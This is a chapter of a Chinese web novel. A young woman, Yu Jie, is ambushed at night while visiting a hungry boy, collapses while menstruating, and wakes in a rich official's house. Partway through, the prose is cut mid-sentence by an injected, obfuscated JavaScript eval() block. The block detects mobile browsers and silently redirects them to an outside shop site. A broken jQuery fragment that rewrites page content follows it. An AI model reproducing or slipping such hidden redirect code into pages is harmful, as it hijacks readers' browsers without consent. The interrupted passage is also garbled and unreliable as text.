“曾祖父、姥爷和爷爷呢?”
“全都战死了。”
虞捷张了张嘴,原本准备好的问话堵在了喉咙里。
她下意识想拍拍男孩的肩膀,手却只是在半空僵了僵,终究还是收了回来。
“你爹被征兵的时候,没有给你们抚恤金吗?”松桔想到了这件事,“所有被征兵的人都有拿到吧?”
“早就吃完了。给再多,落到我们手上也就那点。”二狗说得随意,像是早已习惯。
就在这时,周围紧闭的门窗后,突然传来窸窸窣窣的响动。
“好像是地瓜刚才那两声把邻居叫醒了。”
松桔的余光里,各处都有目光传来,这其中多为好奇和警惕,部分带着扰民的不满,还有少量的目光从不满突转为愤怒。
愤怒?
他皱起眉头,那股愤怒正以惊人的速度发酵,甚至正在快速带上刺骨的杀意。
他立刻判断此地不宜久留,轻声对虞捷提醒道:“此地不宜久留,明天再说,周围的围观群众越来越多了。”
虞捷无意打扰旁人酣睡,从地上站起身,向男孩伸手,道:“你先休息吧,我过几天再来。别再去寺庙里偷了,寺庙里已经在准备抓你了。”
男孩没有握住她的手,只是保持着盘腿而坐的姿态,嘴唇动了动,无言地移开视线。
虞捷倒也不恼,反正她该说的也暂时说完了,该交代的也交代了,继续僵持下去也不是办法,何况男孩一家的情况,也不像是能跑出城的样子。
人跑不了,事情也就不急在这一时。
“萍师弟要是知道你和小贼通气,他会气死。”松桔忍不住调侃,他的嘴角在上扬,眼睛里却没有笑意。
“那就让他气吧。”虞捷摇头,“我小时候和母亲相依为命,战乱那些年真是每天都在饿肚子,我知道饿肚子的感觉,那真是恨不得把土都当饭吃。”
“……我叫二狗。不是孩子。”男孩突然开口,说话间,视线移回到虞捷的脸上。
“我叫虞捷。”
“……谁管你叫什么。”男孩一仰头,从地上站起,“别再来了。”
二狗话音刚落,松桔察觉到的杀意正在快速朝几人靠近,几人站的很近,他无法辨别杀意的目标是谁。
“小捷!小心!”
“汪!”与此同时,一声尖锐的狗叫划破夜空,地瓜像支离弦的箭般扑向虞捷身后的阴影。
杀意来到眼前,却来不及挥出菜刀,后颈上结结实实挨了一肘,直接跪倒在地上干呕。地瓜扑向杀意,咬住杀意的大腿,鲜血顺着锋利的牙齿往下掉,杀意消失了,只剩下痛苦的悲鸣。
“快走。”
虞捷的手腕一热,羊昱沉着声音,道:“跟我来。”
两人立刻飞奔离开。
松桔正准备解决还未消散的杀意,却发现那些杀意追着羊昱和虞捷而去。
“地瓜!”
一人一狗急速追赶,余光所至,均有杀意。
到底是谁对虞捷一个初来乍到的女孩子,有如此恶意?
松桔想抓一个来问话,又怕自己一旦分心,虞捷就会遇到危险,倒是那些杀意刚才看到了他一招制敌的力量,迟迟不敢上前。
直到周围的土坯房渐渐转为楼房,杀意才停止前进。
脱离危险后,虞捷双腿一软,胸腔中的气体沉重又灼热。
她本来就来了月事,猛地这一折腾,腿和腰腹都仿佛不再是自己的,全身的血液都好像在沸腾。
手腕上的汗水让她从羊昱的手中滑了出来,整个人向前摔倒。
胳膊和膝盖都疼得厉害,可她连再次站起的力气都没有,只能趴在地上喘气,吸入的全是刺骨的寒风。每喘一下,肺里就像被刀割似的疼,时不时还要对着地面干呕。
偏偏深秋时的夜晚寒风簌簌,吹在她的汗水上,带着浓浓的凉意。腰腹间的绞痛越来越厉害,她能感觉到,身下渐渐渗出一片温热的液体,顺着大腿、贴着裤子往下流。
“小捷!没事吧!”
松桔瞥见她身下的血渍和苍白的脸色,想起她的月事,能坚持到现在,怕已经是极限,顾不得多想,直接将她打横抱起,转身就要去找地方落脚。
解烦司在各城中都有驻点,只要出示符牌,他就能顺利带着她入内休息。
“你要去哪里?”
“找地方住。”
“你先冷静。”羊昱环顾四周,指着某个方向,道,“我家就在那个方向,很近,如果不介意,可以带她去我家。”
松桔的手紧了紧,说实话,他并不喜欢羊昱,虽然羊昱有意收敛,但身上还是带着一股让人不愉快的气息。但眼下,怀里的人正在发热,浑身颤抖不已,到现在她都没有说话,怕是已经连话都说不出来。
时间紧迫,不容他犹豫。
“好,带我去。”
恍惚间,虞捷好像能听见,抱着自己的人的心跳声,那声音强而有力,那怀抱也过于温暖,头枕在对方的脖颈间,能够清晰地闻到他身上传来的皂角、不,更像是清晨时分沾着露水的青草香。
紧绷的神经渐渐放松,呼吸开始恢复平稳,那两人似乎还说了什么,但她已经太累了,身体越来越沉,眼皮也越来越重,在身体被放下时,她彻底失去了意识。
……
清晨一大早,阳新城县尉府接到报案,在城中村到城区处,发现血渍,血渍在白天还没有出现,居民担心出事,一大早就报给了巡逻的游徼。
此时的县尉府中,贼曹掾(1)双手抱臂于胸前,面色凝重,面前的案几前放着一张写好的文书,仔细一看,是辞官申请。
但沉默了很久之后,还是将那份申请揣进怀中。
再等等,再等等。还不是时候。他至少要看到羊昱落网、了却一桩心事,再提辞呈。男人皱眉。
“柳贼曹,解烦司右部督想见您。”就在这时,属官进入值房中,抱拳道。
“右部督?”
柳贼曹的眉间跃上一股不易察觉的喜悦,但这喜悦在他抬头看向属官时,消失得荡然无存。
“让他进来。”
“柳贼曹,”属官的表情忽然有些微妙,“那位右部督派来的人说,呃,陆部督在驻点等您。”
……
羊氏大宅中。
“……老爷这个时辰了还没去县府吗?”
“老爷一早就走了啊,你在说什么呢?”
“咦,那老爷的床上怎么有人?”
“有人吗?好像是有人,又是盯上老爷的女人?不对,说起来,刚才晨会的时候,总管好像是有说……喂,等等,你别——”
“你是何人!为什么睡在老爷的床上!”
虞捷被一声怒呵惊醒,脑子没醒来,人先醒了,猛地从床上坐了起来。
她茫然地看着眼前的床帘,心跳声先是平缓,然后忽然加快,砰砰砰的声音压得她胸口难受,捂着胸口干呕了好一会儿。
余光里,喊醒她的人已经被同伴拉出房间,两人在外面嘀嘀咕咕了半天。
“姑、姑娘,对不起,”知道真相的扫除侍女吓得差点在她床边跪下,“我以为又是——实在对不起!”
但虞捷没有看她,相比之下,现在有个更需要在意的事情。
刚才她捂着胸口时,发现胸口的衣物的手感,并不是她平常穿的衣服,反而是更高级
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17643886|206323||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
的、她绝对不可能舍得给自己花钱买的绸缎睡衣,质地柔软光滑,不仅串起来舒适,还能勾勒出使用者的身体曲线。
没有一瞬间用在惊喜上,她僵硬将目光下移,又默默地掀起被子,最后观察自己所躺的地方。
枕套的手感是新的,被套的手感也是新的,但里面的填充物是旧的,居然是奢侈的鹅绒。
再伸手摸向床帘。床帘是旧的,但之上的暗纹刺绣的技术含量,没有干过几年织工做出不来。
再一结合外面那个侍女的话里的意思……
“你、你们老爷是谁!谁给我换的衣服!”
……
好一番解释后,虞捷终于理清了现在的处境。
昨晚,她被松桔带回了羊昱家。
羊昱让侍女帮她换了衣服,又换了干净的月事布。因为夜已深,她又很虚弱,便让她先睡在他的床上,他和松桔挤在与主人房间相连的耳房里凑合了一晚上,一早醒来,羊昱回了县府,松桔不知道去了哪里。
“……所以,我的衣服……”
虞捷瞄着垂落的床帘,心说那羊昱倒是贴心,先帮她把床帘放下去了,不然她现在都不知道怎么直接面对一群陌生人。
“老爷说了,姑娘的衣服都脏了,正在晾晒,姑娘若是醒了想出来走走,可以先穿嫂夫人生前的衣服。”
虞捷刚想说不用,就听到床帘外传来一阵细碎的脚步声,接着,一张椅子被搬到了床头,上面放着一套叠得整整齐齐的衣服。
“需要我们伺候您更衣吗?”
“别、不需要,你们出去,把门带上。”
“是。”
随着房门的关上,屋内渐渐只剩下她的心跳声和呼吸声。
她悄悄拉开床帘,一个伸手,唰地一下把更换的衣服抽进床帘里,还没看清是什么花纹,一摸材质,就忍不住倒吸一口冷气。
这是上好的云锦做的,非常接近于丝绸的质感,连皇后都很少会穿——虽然另一个原因是皇后是从前线走出来的,对这些奢侈品的兴趣并不大。
这种奢侈的东西竟然会因为要穿的人过世,就被尘封多年,这也太暴殄天物了。
但人生能有几次能穿这么好的衣服。
虞捷心虚又期待,放下谦虚,将那身衣服穿上。衣服的尺寸稍微大了一些,原主人的肩膀比她宽一些、个子也高一些,那衣服挂在她的身上,让她感觉自己是偷穿大人衣服的小孩。
要是自己的衣服,她就上手改了。她忍不住想。
走出床帘,地上放着一双鞋,她再次恨不得仰天长啸,奢侈,太奢侈了,羊昱家到底多有钱,他到底是做什么工作的!
一瞥梳妆台的方向,胭脂水粉,琳琅满目,一应俱全,更有不少她连名字都说不出来。
强忍月事的疼痛,走到梳妆台旁,铜镜里倒映出姑娘的脸色,有些苍白,但眉眼清秀,穿着稍微有些宽大的浅蓝色的云锦衣裙,没化妆时也显得有几分动人。
梳妆台旁边有一扇小门,没有上锁。
她凑过去推开门一看,那里有一个不大的房间,里面放着一张小床,地上还铺着一床被子,想来就是侍女说的耳房。
她看着房间里的两床被子,突然想起母亲曾说过,她的生父是个好色之徒,家里有几个妻妾和数十个孩子还不满足,偶尔还会叫美貌的婢女去伺候。
虞捷就是这么来的。
想到这里,心里涌起一股莫名的情绪。
她正准备进入耳房时,院外忽然想起了骚动,在那骚动中,她听到了地瓜在犬吠,而刚才和自己说过话的侍女的声音,也随之传入耳中。
“我家主人没在,真的不能让你们进来!”